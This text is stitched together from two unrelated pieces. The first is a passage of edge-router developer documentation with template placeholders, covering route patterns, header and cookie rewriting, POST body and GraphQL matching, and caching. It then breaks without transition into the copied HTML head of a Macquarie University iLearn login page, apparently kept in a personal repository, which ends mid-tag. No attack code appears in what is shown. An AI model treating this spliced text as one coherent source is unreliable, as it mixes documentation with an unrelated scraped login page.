sends a response. The following methods return a response: - [appShell](/docs/api/core/classes/_router_responsewriter_.responsewriter.html#appshell) - [compute](/docs/api/core/classes/_router_responsewriter_.responsewriter.html#compute) - [proxy](/docs/api/core/classes/_router_responsewriter_.responsewriter.html#proxy) - [redirect](/docs/api/core/classes/_router_responsewriter_.responsewriter.html#redirect) - [send](/docs/api/core/classes/_router_responsewriter_.responsewriter.html#send) - [serveStatic](/docs/api/core/classes/_router_responsewriter_.responsewriter.html#servestatic) - [serviceWorker](/docs/api/core/classes/_router_responsewriter_.responsewriter.html#serviceworker) - [stream](/docs/api/core/classes/_router_responsewriter_.responsewriter.html#stream) - [use](/docs/api/core/classes/_router_responsewriter_.responsewriter.html#compute) Multiple routes can therefore be executed for a given request. A common pattern is to add caching with one route and render the response with a later one using middleware. In the following example we cache then render a response with Next.js: ```js const { Router } = require('{{ PACKAGE_NAME }}/core/router') const { nextRoutes } = require('{{ PACKAGE_NAME }}/next') // In this example a request to /products/1 will be cached by the first route, then served by the `nextRoutes` middleware new Router() .get('/products/:id', ({ cache }) => { cache({ edge: { maxAgeSeconds: 60 * 60, staleWhileRevalidateSeconds: 60 * 60 }, }) }) .use(nextRoutes) ``` ### Alter Requests and Responses {{ PRODUCT_NAME }} offers APIs to manipulate request and response headers and cookies. The APIs are: | Operation | Request | Upstream Response | Response sent to Browser | | ------------- | --------------------- | ------------------------------ | ------------------------ | | Set header | `setRequestHeader` | `setUpstreamResponseHeader` | `setResponseHeader` | | Add cookie | `*` | `addUpstreamResponseCookie` | `addResponseCookie` | | Update header | `updateRequestHeader` | `updateUpstreamResponseHeader` | `updateResponseHeader` | | Update cookie | `*` | `updateUpstreamResponseCookie` | `updateResponseCookie` | | Remove header | `removeRequestHeader` | `removeUpstreamResponseHeader` | `removeResponseHeader` | | Remove cookie | `*` | `removeUpstreamResponseCookie` | `removeResponseCookie` | `*` Adding, updating, or removing a request cookie can be achieved with `updateRequestHeader` applied to `cookie` header. You can find detailed descriptions of these APIs in the `{{ PACKAGE_NAME }}/core` [documentation](/docs/api/core/classes/_router_responsewriter_.responsewriter.html). #### Embedded Values You can inject values from the request or response into headers or cookies as template literals using the `${value}` format. For example: `setResponseHeader('original-request-path', '${path}')` would add an `original-request-path` response header whose value is the request path. | Value | Embedded value | Description | | --------------- | ---------------------- | ----------------------------------------------------------------------------------------------------------------------------- | | HTTP method | `${method}` | The value of the HTTP method used for the request (e.g. `GET`) | | URL | `${url}` | The complete URL path including any query strings (e.g. `/search?query=docs`). Protocol, hostname, and port are not included. | | Path | `${path}` | The URL path excluding any query strings (e.g. `/search`) | | Query string | `${query:<name>}` | The value of the `<name>` query string or empty if not available. | | Request header | `${req:<name>}` | The value of the `<name>` request header or empty if not available. | | Request cookie | `${req:cookie:<name>}` | The value of the `<name>` cookie in `cookie` request header or empty if not available. | | Response header | `${res:<name>}` | The value of the `<name>` response header or empty if not available. | ## Route Pattern Syntax The syntax for route paths is provided by [path-to-regexp](https://github.com/pillarjs/path-to-regexp#path-to-regexp), which is the same library used by [Express](https://expressjs.com/). ### Named Parameters Named parameters are defined by prefixing a colon to the parameter name (`:foo`). ```js new Router().get('/:foo/:bar', res => { /* ... */ }) ``` **Please note:** Parameter names must use "word characters" (`[A-Za-z0-9_]`). #### Custom Matching Parameters Parameters can have a custom regexp, which overrides the default match (`[^/]+`). For example, you can match digits or names in a path: ```js new Router().get('/icon-:foo(\\d+).png', res => { /* ... */ }) ``` **Tip:** Backslashes need to be escaped with another backslash in JavaScript strings. #### Custom Prefix and Suffix Parameters can be wrapped in `{}` to create custom prefixes or suffixes for your segment: ```js new Router().get('/:attr1?{-:attr2}?{-:attr3}?', res => { /* ... */ }) ``` ### Unnamed Parameters It is possible to write an unnamed parameter that only consists of a regexp. It works the same the named parameter, except it will be numerically indexed: ```js new Router().get('/:foo/(.*)', res => { /* ... */ }) ``` ### Modifiers Modifiers must be placed after the parameter (e.g. `/:foo?`, `/(test)?`, `/:foo(test)?`, or `{-:foo(test)}?`). #### Optional Parameters can be suffixed with a question mark (`?`) to make the parameter optional. ```js new Router().get('/:foo/:bar?', res => { /* ... */ }) ``` **Tip:** The prefix is also optional, escape the prefix `\/` to make it required. #### Zero or More Parameters can be suffixed with an asterisk (`*`) to denote zero or more parameter matches. ```js new Router().get('/:foo*', res => { /* res.params.foo will be an array */ }) ``` The captured parameter value will be provided as an array. #### One or More Parameters can be suffixed with a plus sign (`+`) to denote one or more parameter matches. ```js new Router().get('/:foo+', res => { /* res.params.foo will be an array */ }) ``` The captured parameter value will be provided as an array. ## Matching Method, Query Parameters, Cookies, and Headers Match can either take a URL path, or an object which allows you to match based on method, query parameters, cookies, or request headers: ```js router.match( { path: '/some-path', // value is route-pattern syntax method: /GET|POST/i, // value is a regular expression cookies: { currency: /^(usd)$/i }, // keys are cookie names, values are regular expressions headers: { 'x-moov-device': /^desktop$/i }, // keys are header names, values are regular expressions query: { page: /^(1|2|3)$/ }, // keys are query parameter names, values are regular expressions }, () => {}, ) ``` ## Body Matching for POST requests You can also match HTTP `POST` requests based on their request body content as in the following example: ```js router.match( { body: { parse: 'json', criteria: { operationName: 'GetProducts' } }, // the body content will parsed as JSON and the parsed JSON matched against the presence of the criteria properties (in this case a GraphQL operation named 'GetProducts') }, () => {}, ) ``` Currently the only body content supported is JSON. Body content is parsed as JSON and is matched against the presence of the fields specified in the `criteria` field. The [_POST Body Matching Criteria_](#section_post_body_matching_criteria) section below contains examples of using the `criteria` field. Body matching can be combined with other match parameters such as headers and cookies. For example, ```js router.match( { // Only matches GetProducts operations to the /graphql endpoint // for logged in users path: '/graphql', cookies: { loginStatus: /^(loggedIn)$/i }, // loggedin users body: { parse: 'json', criteria: { operationName: 'GetProducts' } }, }, () => {}, ) ``` ### Caching & POST Body Matching When body matching is combined with `cache` in a route, **the HTTP request body will automatically be used as the cache key.** For example, the code below will cache GraphQL `GetProducts` queries using the entire request body as the cache key: ```js router.match( { body: { parse: 'json', criteria: { operationName: 'GetProducts' } }, }, ({ cache }) => { cache({ edge: { maxAgeSeconds: 60 * 60, staleWhileRevalidateSeconds: 60 * 60 * 24, // this way stale items can still be prefetched }, }) }, ) ``` You can still add additional parameters to the cache key using the normal {{ EDGEJS_LABEL }} `key` property. For example, the code below will cache GraphQL `GetProducts` queries separately for each user based on their userID cookie _and_ the HTTP body of the request. ```js router.match( { body: { parse: 'json', criteria: { operationName: 'GetProducts' } }, }, ({ cache }) => { cache({ edge: { maxAgeSeconds: 60 * 60, staleWhileRevalidateSeconds: 60 * 60 * 24, // this way stale items can still be prefetched }, key: new CustomCacheKey().addCookie('userID'), // Split cache by userID }) }, ) ``` ### POST Body Matching Criteria The `criteria` property can be a string or regular expression. For example, the router below, ```js router.match( { body: { parse: 'json', criteria: { foo: 'bar' } }, }, () => {}, ) ``` would match an HTTP POST request body containing: ```js { "foo": "bar", "bar": "foo" } ``` ### Regular Expression Criteria Regular expressions can also be used as `criteria`. For example, ```js router.match( { body: { parse: 'json', criteria: { operationName: /^Get/ } }, }, () => {}, ) ``` would match an HTTP POST body containing: ```js { "operationName": "GetShops", "query": "...", "variables": {} } ``` ### Nested JSON Criteria You can also use a nested object to match a field at a specific location in the JSON. For example, ```js router.match( { body: { parse: 'json', criteria: { operation: { name: 'GetShops', }, }, }, }, () => {}, ) ``` would match an HTTP POST body containing: ```js { "operation": { "name": "GetShops", "query": "..." } } ``` ## GraphQL Queries The {{ EDGEJS_LABEL }} router provides a `graphqlOperation` method for matching GraphQL. ```js router.graphqlOperation('GetProducts', res => { /* Handle the POST for the GetProducts query specifically */ }) ``` By default, the `graphqlOperation` assumes your GraphQL endpoint is at `/graphql`. You can alter this behavior by using the `path` property as shown below: ```js router.graphqlOperation({ path: '/api/graphql', name: 'GetProducts' }, res => { /* Handle the POST for the GetProducts query specifically */ }) ``` Note that when the `graphqlOperation` function is used, the HTTP request body will automatically be included in the cache key. The `graphqlOperation` function is provided to simplify matching of common GraphQL scenarios. For complex GraphQL matching (such as authenticated data), you can use the generic [_Body Matching for POST requests_](#section_body_matching_for_post_requests) feature. See the guide on [Implementing GraphQL Routing](/guides/graphql) in your project. ## Request Handling The second argument to routes is a function that receives a `ResponseWriter` and uses it to send a response. Using `ResponseWriter` you can: - Proxy a backend configured in `{{ CONFIG_FILE }}` - Serve a static file - Send a redirect - Send a synthetic response - Cache the response at edge and in the browser - Manipulate request and response headers [See the API Docs for Response Writer](/docs/__version__/api/core/classes/_router_responsewriter_.responsewriter.html) ## Full Example This example shows typical usage of `{{ PACKAGE_NAME }}/core`, including serving a service worker, next.js routes (vanity and conventional routes), and falling back to a legacy backend. ```js // routes.js const { Router } = require('{{ PACKAGE_NAME }}/core/router') module.exports = new Router() .get('/service-worker.js', ({ serviceWorker }) => { // serve the service worker built by webpack serviceWorker('dist/service-worker.js') }) .get('/p/:productId', ({ cache }) => { // cache products for one hour at edge and using the service worker cache({ edge: { maxAgeSeconds: 60 * 60, staleWhileRevalidateSeconds: 60 * 60, }, browser: { maxAgeSeconds: 0, serviceWorkerSeconds: 60 * 60, }, }) proxy('origin') }) .fallback(({ proxy }) => { // serve all unmatched URLs from the origin backend configured in {{ CONFIG_FILE }} proxy('origin') }) ``` ## Errors Handling You can use the router's `catch` method to return specific content when the request results in an error status (For example, a 500). Using `catch`, you can also alter the `statusCode` and `response` on the edge before issuing a response to the user. ```js router.catch(number | Regexp, (routeHandler: Function)) ``` ### Examples To issue a custom error page when the origin returns a 500: ```js // routes.js const { Router } = require('{{ PACKAGE_NAME }}/core/router') module.exports = new Router() // Example route .get('/failing-route', ({ proxy }) => { proxy('broken-origin') }) // So let's assume that backend "broken-origin" returns 500, so instead // of rendering the broken-origin response we can alter that by specifing .catch .catch(500, ({ serveStatic }) => { serveStatic('static/broken-origin-500-page.html', { statusCode: 502, }) }) ``` The `.catch` method allows the edge router to render a response based on the result preceeding routes. So in the example above whenever we receive a 500 we respond with `broken-origin-500-page.html` from the application's `static` directory and change the status code to 502. - Your catch callback is provided a [ResponseWriter](/docs/api/core/classes/_router_responsewriter_.responsewriter.html) instance. You can use any ResponseWriter method except `proxy` inside `.catch`. - We highly recommend keeping `catch` routes simple. Serve responses using `serveStatic` instead of `send` to minimize the size of the edge bundle. ## Environment Edge Redirects In addition to sending redirects at the edge within the router configuration, this can also be configured at the environment level within the Layer0 Developer Console. Under _<Your Environment> → Configuration_, click _Edit_ to draft a new configuration. Scroll down to the _Redirects_ section:  Click _Add A Redirect_ to configure the path or host you wish to redirect to:  **Note:** you will need to activate and redeploy your site for this change to take effect.
thewebdeveloper2017 / Ilearnmacquarie20178<!DOCTYPE html> <html dir="ltr" lang="en" xml:lang="en"> <head> <!-- front --> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>iLearn: Log in to the site</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><script type="text/javascript">window.NREUM||(NREUM={}),__nr_require=function(e,t,n){function r(n){if(!t[n]){var o=t[n]={exports:{}};e[n][0].call(o.exports,function(t){var o=e[n][1][t];return r(o||t)},o,o.exports)}return t[n].exports}if("function"==typeof __nr_require)return __nr_require;for(var o=0;o<n.length;o++)r(n[o]);return r}({1:[function(e,t,n){function r(){}function o(e,t,n){return function(){return i(e,[(new Date).getTime()].concat(u(arguments)),t?null:this,n),t?void 0:this}}var i=e("handle"),a=e(2),u=e(3),c=e("ee").get("tracer"),f=NREUM;"undefined"==typeof window.newrelic&&(newrelic=f);var s=["setPageViewName","setCustomAttribute","setErrorHandler","finished","addToTrace","inlineHit","addRelease"],l="api-",p=l+"ixn-";a(s,function(e,t){f[t]=o(l+t,!0,"api")}),f.addPageAction=o(l+"addPageAction",!0),f.setCurrentRouteName=o(l+"routeName",!0),t.exports=newrelic,f.interaction=function(){return(new r).get()};var d=r.prototype={createTracer:function(e,t){var n={},r=this,o="function"==typeof t;return i(p+"tracer",[Date.now(),e,n],r),function(){if(c.emit((o?"":"no-")+"fn-start",[Date.now(),r,o],n),o)try{return t.apply(this,arguments)}finally{c.emit("fn-end",[Date.now()],n)}}}};a("setName,setAttribute,save,ignore,onEnd,getContext,end,get".split(","),function(e,t){d[t]=o(p+t)}),newrelic.noticeError=function(e){"string"==typeof e&&(e=new Error(e)),i("err",[e,(new Date).getTime()])}},{}],2:[function(e,t,n){function r(e,t){var n=[],r="",i=0;for(r in e)o.call(e,r)&&(n[i]=t(r,e[r]),i+=1);return n}var o=Object.prototype.hasOwnProperty;t.exports=r},{}],3:[function(e,t,n){function r(e,t,n){t||(t=0),"undefined"==typeof n&&(n=e?e.length:0);for(var r=-1,o=n-t||0,i=Array(o<0?0:o);++r<o;)i[r]=e[t+r];return i}t.exports=r},{}],ee:[function(e,t,n){function r(){}function o(e){function t(e){return e&&e instanceof r?e:e?c(e,u,i):i()}function n(n,r,o){if(!p.aborted){e&&e(n,r,o);for(var i=t(o),a=v(n),u=a.length,c=0;c<u;c++)a[c].apply(i,r);var f=s[w[n]];return f&&f.push([y,n,r,i]),i}}function d(e,t){b[e]=v(e).concat(t)}function v(e){return b[e]||[]}function g(e){return l[e]=l[e]||o(n)}function m(e,t){f(e,function(e,n){t=t||"feature",w[n]=t,t in s||(s[t]=[])})}var b={},w={},y={on:d,emit:n,get:g,listeners:v,context:t,buffer:m,abort:a,aborted:!1};return y}function i(){return new r}function a(){(s.api||s.feature)&&(p.aborted=!0,s=p.backlog={})}var u="nr@context",c=e("gos"),f=e(2),s={},l={},p=t.exports=o();p.backlog=s},{}],gos:[function(e,t,n){function r(e,t,n){if(o.call(e,t))return e[t];var r=n();if(Object.defineProperty&&Object.keys)try{return Object.defineProperty(e,t,{value:r,writable:!0,enumerable:!1}),r}catch(i){}return e[t]=r,r}var o=Object.prototype.hasOwnProperty;t.exports=r},{}],handle:[function(e,t,n){function r(e,t,n,r){o.buffer([e],r),o.emit(e,t,n)}var o=e("ee").get("handle");t.exports=r,r.ee=o},{}],id:[function(e,t,n){function r(e){var t=typeof e;return!e||"object"!==t&&"function"!==t?-1:e===window?0:a(e,i,function(){return o++})}var o=1,i="nr@id",a=e("gos");t.exports=r},{}],loader:[function(e,t,n){function r(){if(!h++){var e=y.info=NREUM.info,t=l.getElementsByTagName("script")[0];if(setTimeout(f.abort,3e4),!(e&&e.licenseKey&&e.applicationID&&t))return f.abort();c(b,function(t,n){e[t]||(e[t]=n)}),u("mark",["onload",a()],null,"api");var n=l.createElement("script");n.src="https://"+e.agent,t.parentNode.insertBefore(n,t)}}function o(){"complete"===l.readyState&&i()}function i(){u("mark",["domContent",a()],null,"api")}function a(){return(new Date).getTime()}var u=e("handle"),c=e(2),f=e("ee"),s=window,l=s.document,p="addEventListener",d="attachEvent",v=s.XMLHttpRequest,g=v&&v.prototype;NREUM.o={ST:setTimeout,CT:clearTimeout,XHR:v,REQ:s.Request,EV:s.Event,PR:s.Promise,MO:s.MutationObserver},e(1);var m=""+location,b={beacon:"bam.nr-data.net",errorBeacon:"bam.nr-data.net",agent:"js-agent.newrelic.com/nr-1016.min.js"},w=v&&g&&g[p]&&!/CriOS/.test(navigator.userAgent),y=t.exports={offset:a(),origin:m,features:{},xhrWrappable:w};l[p]?(l[p]("DOMContentLoaded",i,!1),s[p]("load",r,!1)):(l[d]("onreadystatechange",o),s[d]("onload",r)),u("mark",["firstbyte",a()],null,"api");var h=0},{}]},{},["loader"]);</script> <meta name="keywords" content="moodle, iLearn: Log in to the site" /> <link rel="stylesheet" type="text/css" href="https://ilearn.mq.edu.au/theme/yui_combo.php?r1487942275&rollup/3.17.2/yui-moodlesimple-min.css" /><script id="firstthemesheet" type="text/css">/** Required in order to fix style inclusion problems in IE with YUI **/</script><link rel="stylesheet" type="text/css" href="https://ilearn.mq.edu.au/theme/styles.php/mqu/1487942275/all" /> <script type="text/javascript"> //<![CDATA[ var M = {}; M.yui = {}; M.pageloadstarttime = new Date(); M.cfg = {"wwwroot":"https:\/\/ilearn.mq.edu.au","sesskey":"mDL5SddUvA","loadingicon":"https:\/\/ilearn.mq.edu.au\/theme\/image.php\/mqu\/core\/1487942275\/i\/loading_small","themerev":"1487942275","slasharguments":1,"theme":"mqu","jsrev":"1487942275","admin":"admin","svgicons":true};var yui1ConfigFn = function(me) {if(/-skin|reset|fonts|grids|base/.test(me.name)){me.type='css';me.path=me.path.replace(/\.js/,'.css');me.path=me.path.replace(/\/yui2-skin/,'/assets/skins/sam/yui2-skin')}}; var yui2ConfigFn = function(me) {var parts=me.name.replace(/^moodle-/,'').split('-'),component=parts.shift(),module=parts[0],min='-min';if(/-(skin|core)$/.test(me.name)){parts.pop();me.type='css';min=''};if(module){var filename=parts.join('-');me.path=component+'/'+module+'/'+filename+min+'.'+me.type}else me.path=component+'/'+component+'.'+me.type}; YUI_config = {"debug":false,"base":"https:\/\/ilearn.mq.edu.au\/lib\/yuilib\/3.17.2\/","comboBase":"https:\/\/ilearn.mq.edu.au\/theme\/yui_combo.php?r1487942275&","combine":true,"filter":null,"insertBefore":"firstthemesheet","groups":{"yui2":{"base":"https:\/\/ilearn.mq.edu.au\/lib\/yuilib\/2in3\/2.9.0\/build\/","comboBase":"https:\/\/ilearn.mq.edu.au\/theme\/yui_combo.php?r1487942275&","combine":true,"ext":false,"root":"2in3\/2.9.0\/build\/","patterns":{"yui2-":{"group":"yui2","configFn":yui1ConfigFn}}},"moodle":{"name":"moodle","base":"https:\/\/ilearn.mq.edu.au\/theme\/yui_combo.php?m\/1487942275\/","combine":true,"comboBase":"https:\/\/ilearn.mq.edu.au\/theme\/yui_combo.php?r1487942275&","ext":false,"root":"m\/1487942275\/","patterns":{"moodle-":{"group":"moodle","configFn":yui2ConfigFn}},"filter":null,"modules":{"moodle-core-actionmenu":{"requires":["base","event","node-event-simulate"]},"moodle-core-blocks":{"requires":["base","node","io","dom","dd","dd-scroll","moodle-core-dragdrop","moodle-core-notification"]},"moodle-core-checknet":{"requires":["base-base","moodle-core-notification-alert","io-base"]},"moodle-core-chooserdialogue":{"requires":["base","panel","moodle-core-notification"]},"moodle-core-dock":{"requires":["base","node","event-custom","event-mouseenter","event-resize","escape","moodle-core-dock-loader","moodle-core-event"]},"moodle-core-dock-loader":{"requires":["escape"]},"moodle-core-dragdrop":{"requires":["base","node","io","dom","dd","event-key","event-focus","moodle-core-notification"]},"moodle-core-event":{"requires":["event-custom"]},"moodle-core-formautosubmit":{"requires":["base","event-key"]},"moodle-core-formchangechecker":{"requires":["base","event-focus","moodle-core-event"]},"moodle-core-handlebars":{"condition":{"trigger":"handlebars","when":"after"}},"moodle-core-languninstallconfirm":{"requires":["base","node","moodle-core-notification-confirm","moodle-core-notification-alert"]},"moodle-core-lockscroll":{"requires":["plugin","base-build"]},"moodle-core-maintenancemodetimer":{"requires":["base","node"]},"moodle-core-notification":{"requires":["moodle-core-notification-dialogue","moodle-core-notification-alert","moodle-core-notification-confirm","moodle-core-notification-exception","moodle-core-notification-ajaxexception"]},"moodle-core-notification-dialogue":{"requires":["base","node","panel","escape","event-key","dd-plugin","moodle-core-widget-focusafterclose","moodle-core-lockscroll"]},"moodle-core-notification-alert":{"requires":["moodle-core-notification-dialogue"]},"moodle-core-notification-confirm":{"requires":["moodle-core-notification-dialogue"]},"moodle-core-notification-exception":{"requires":["moodle-core-notification-dialogue"]},"moodle-core-notification-ajaxexception":{"requires":["moodle-core-notification-dialogue"]},"moodle-core-popuphelp":{"requires":["moodle-core-tooltip"]},"moodle-core-session-extend":{"requires":["base","node","io-base","panel","dd-plugin"]},"moodle-core-tooltip":{"requires":["base","node","io-base","moodle-core-notification-dialogue","json-parse","widget-position","widget-position-align","event-outside","cache-base"]},"moodle-core_availability-form":{"requires":["base","node","event","panel","moodle-core-notification-dialogue","json"]},"moodle-backup-backupselectall":{"requires":["node","event","node-event-simulate","anim"]},"moodle-backup-confirmcancel":{"requires":["node","node-event-simulate","moodle-core-notification-confirm"]},"moodle-calendar-info":{"requires":["base","node","event-mouseenter","event-key","overlay","moodle-calendar-info-skin"]},"moodle-course-categoryexpander":{"requires":["node","event-key"]},"moodle-course-dragdrop":{"requires":["base","node","io","dom","dd","dd-scroll","moodle-core-dragdrop","moodle-core-notification","moodle-course-coursebase","moodle-course-util"]},"moodle-course-formatchooser":{"requires":["base","node","node-event-simulate"]},"moodle-course-management":{"requires":["base","node","io-base","moodle-core-notification-exception","json-parse","dd-constrain","dd-proxy","dd-drop","dd-delegate","node-event-delegate"]},"moodle-course-modchooser":{"requires":["moodle-core-chooserdialogue","moodle-course-coursebase"]},"moodle-course-toolboxes":{"requires":["node","base","event-key","node","io","moodle-course-coursebase","moodle-course-util"]},"moodle-course-util":{"requires":["node"],"use":["moodle-course-util-base"],"submodules":{"moodle-course-util-base":{},"moodle-course-util-section":{"requires":["node","moodle-course-util-base"]},"moodle-course-util-cm":{"requires":["node","moodle-course-util-base"]}}},"moodle-form-dateselector":{"requires":["base","node","overlay","calendar"]},"moodle-form-passwordunmask":{"requires":["node","base"]},"moodle-form-shortforms":{"requires":["node","base","selector-css3","moodle-core-event"]},"moodle-form-showadvanced":{"requires":["node","base","selector-css3"]},"moodle-core_message-messenger":{"requires":["escape","handlebars","io-base","moodle-core-notification-ajaxexception","moodle-core-notification-alert","moodle-core-notification-dialogue","moodle-core-notification-exception"]},"moodle-core_message-deletemessage":{"requires":["node","event"]},"moodle-question-chooser":{"requires":["moodle-core-chooserdialogue"]},"moodle-question-preview":{"requires":["base","dom","event-delegate","event-key","core_question_engine"]},"moodle-question-qbankmanager":{"requires":["node","selector-css3"]},"moodle-question-searchform":{"requires":["base","node"]},"moodle-availability_completion-form":{"requires":["base","node","event","moodle-core_availability-form"]},"moodle-availability_date-form":{"requires":["base","node","event","io","moodle-core_availability-form"]},"moodle-availability_grade-form":{"requires":["base","node","event","moodle-core_availability-form"]},"moodle-availability_group-form":{"requires":["base","node","event","moodle-core_availability-form"]},"moodle-availability_grouping-form":{"requires":["base","node","event","moodle-core_availability-form"]},"moodle-availability_profile-form":{"requires":["base","node","event","moodle-core_availability-form"]},"moodle-qtype_ddimageortext-dd":{"requires":["node","dd","dd-drop","dd-constrain"]},"moodle-qtype_ddimageortext-form":{"requires":["moodle-qtype_ddimageortext-dd","form_filepicker"]},"moodle-qtype_ddmarker-dd":{"requires":["node","event-resize","dd","dd-drop","dd-constrain","graphics"]},"moodle-qtype_ddmarker-form":{"requires":["moodle-qtype_ddmarker-dd","form_filepicker","graphics","escape"]},"moodle-qtype_ddwtos-dd":{"requires":["node","dd","dd-drop","dd-constrain"]},"moodle-mod_assign-history":{"requires":["node","transition"]},"moodle-mod_attendance-groupfilter":{"requires":["base","node"]},"moodle-mod_dialogue-autocomplete":{"requires":["base","node","json-parse","autocomplete","autocomplete-filters","autocomplete-highlighters","event","event-key"]},"moodle-mod_dialogue-clickredirector":{"requires":["base","node","json-parse","clickredirector","clickredirector-filters","clickredirector-highlighters","event","event-key"]},"moodle-mod_dialogue-userpreference":{"requires":["base","node","json-parse","userpreference","userpreference-filters","userpreference-highlighters","event","event-key"]},"moodle-mod_forum-subscriptiontoggle":{"requires":["base-base","io-base"]},"moodle-mod_oublog-savecheck":{"requires":["base","node","io","panel","moodle-core-notification-alert"]},"moodle-mod_oublog-tagselector":{"requires":["base","node","autocomplete","autocomplete-filters","autocomplete-highlighters"]},"moodle-mod_quiz-autosave":{"requires":["base","node","event","event-valuechange","node-event-delegate","io-form"]},"moodle-mod_quiz-dragdrop":{"requires":["base","node","io","dom","dd","dd-scroll","moodle-core-dragdrop","moodle-core-notification","moodle-mod_quiz-quizbase","moodle-mod_quiz-util-base","moodle-mod_quiz-util-page","moodle-mod_quiz-util-slot","moodle-course-util"]},"moodle-mod_quiz-modform":{"requires":["base","node","event"]},"moodle-mod_quiz-questionchooser":{"requires":["moodle-core-chooserdialogue","moodle-mod_quiz-util","querystring-parse"]},"moodle-mod_quiz-quizbase":{"requires":["base","node"]},"moodle-mod_quiz-quizquestionbank":{"requires":["base","event","node","io","io-form","yui-later","moodle-question-qbankmanager","moodle-core-notification-dialogue"]},"moodle-mod_quiz-randomquestion":{"requires":["base","event","node","io","moodle-core-notification-dialogue"]},"moodle-mod_quiz-repaginate":{"requires":["base","event","node","io","moodle-core-notification-dialogue"]},"moodle-mod_quiz-toolboxes":{"requires":["base","node","event","event-key","io","moodle-mod_quiz-quizbase","moodle-mod_quiz-util-slot","moodle-core-notification-ajaxexception"]},"moodle-mod_quiz-util":{"requires":["node"],"use":["moodle-mod_quiz-util-base"],"submodules":{"moodle-mod_quiz-util-base":{},"moodle-mod_quiz-util-slot":{"requires":["node","moodle-mod_quiz-util-base"]},"moodle-mod_quiz-util-page":{"requires":["node","moodle-mod_quiz-util-base"]}}},"moodle-message_airnotifier-toolboxes":{"requires":["base","node","io"]},"moodle-filter_glossary-autolinker":{"requires":["base","node","io-base","json-parse","event-delegate","overlay","moodle-core-event","moodle-core-notification-alert","moodle-core-notification-exception","moodle-core-notification-ajaxexception"]},"moodle-filter_mathjaxloader-loader":{"requires":["moodle-core-event"]},"moodle-editor_atto-editor":{"requires":["node","transition","io","overlay","escape","event","event-simulate","event-custom","node-event-html5","node-event-simulate","yui-throttle","moodle-core-notification-dialogue","moodle-core-notification-confirm","moodle-editor_atto-rangy","handlebars","timers","querystring-stringify"]},"moodle-editor_atto-plugin":{"requires":["node","base","escape","event","event-outside","handlebars","event-custom","timers","moodle-editor_atto-menu"]},"moodle-editor_atto-menu":{"requires":["moodle-core-notification-dialogue","node","event","event-custom"]},"moodle-editor_atto-rangy":{"requires":[]},"moodle-report_eventlist-eventfilter":{"requires":["base","event","node","node-event-delegate","datatable","autocomplete","autocomplete-filters"]},"moodle-report_loglive-fetchlogs":{"requires":["base","event","node","io","node-event-delegate"]},"moodle-gradereport_grader-gradereporttable":{"requires":["base","node","event","handlebars","overlay","event-hover"]},"moodle-gradereport_history-userselector":{"requires":["escape","event-delegate","event-key","handlebars","io-base","json-parse","moodle-core-notification-dialogue"]},"moodle-tool_capability-search":{"requires":["base","node"]},"moodle-tool_lp-dragdrop-reorder":{"requires":["moodle-core-dragdrop"]},"moodle-assignfeedback_editpdf-editor":{"requires":["base","event","node","io","graphics","json","event-move","event-resize","transition","querystring-stringify-simple","moodle-core-notification-dialog","moodle-core-notification-exception","moodle-core-notification-ajaxexception"]},"moodle-atto_accessibilitychecker-button":{"requires":["color-base","moodle-editor_atto-plugin"]},"moodle-atto_accessibilityhelper-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_align-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_bold-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_charmap-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_chemistry-button":{"requires":["moodle-editor_atto-plugin","moodle-core-event","io","event-valuechange","tabview","array-extras"]},"moodle-atto_clear-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_collapse-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_emoticon-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_equation-button":{"requires":["moodle-editor_atto-plugin","moodle-core-event","io","event-valuechange","tabview","array-extras"]},"moodle-atto_html-button":{"requires":["moodle-editor_atto-plugin","event-valuechange"]},"moodle-atto_image-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_indent-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_italic-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_link-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_managefiles-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_managefiles-usedfiles":{"requires":["node","escape"]},"moodle-atto_media-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_noautolink-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_orderedlist-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_rtl-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_strike-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_subscript-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_superscript-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_table-button":{"requires":["moodle-editor_atto-plugin","moodle-editor_atto-menu","event","event-valuechange"]},"moodle-atto_title-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_underline-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_undo-button":{"requires":["moodle-editor_atto-plugin"]},"moodle-atto_unorderedlist-button":{"requires":["moodle-editor_atto-plugin"]}}},"gallery":{"name":"gallery","base":"https:\/\/ilearn.mq.edu.au\/lib\/yuilib\/gallery\/","combine":true,"comboBase":"https:\/\/ilearn.mq.edu.au\/theme\/yui_combo.php?","ext":false,"root":"gallery\/1487942275\/","patterns":{"gallery-":{"group":"gallery"}}}},"modules":{"core_filepicker":{"name":"core_filepicker","fullpath":"https:\/\/ilearn.mq.edu.au\/lib\/javascript.php\/1487942275\/repository\/filepicker.js","requires":["base","node","node-event-simulate","json","async-queue","io-base","io-upload-iframe","io-form","yui2-treeview","panel","cookie","datatable","datatable-sort","resize-plugin","dd-plugin","escape","moodle-core_filepicker"]},"core_comment":{"name":"core_comment","fullpath":"https:\/\/ilearn.mq.edu.au\/lib\/javascript.php\/1487942275\/comment\/comment.js","requires":["base","io-base","node","json","yui2-animation","overlay"]}}}; M.yui.loader = {modules: {}}; //]]> </script> <meta name="robots" content="noindex" /> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script> <script src="https://oss.maxcdn.com/libs/respond.js/1.3.0/respond.min.js"></script> <![endif]--> <link rel="apple-touch-icon-precomposed" 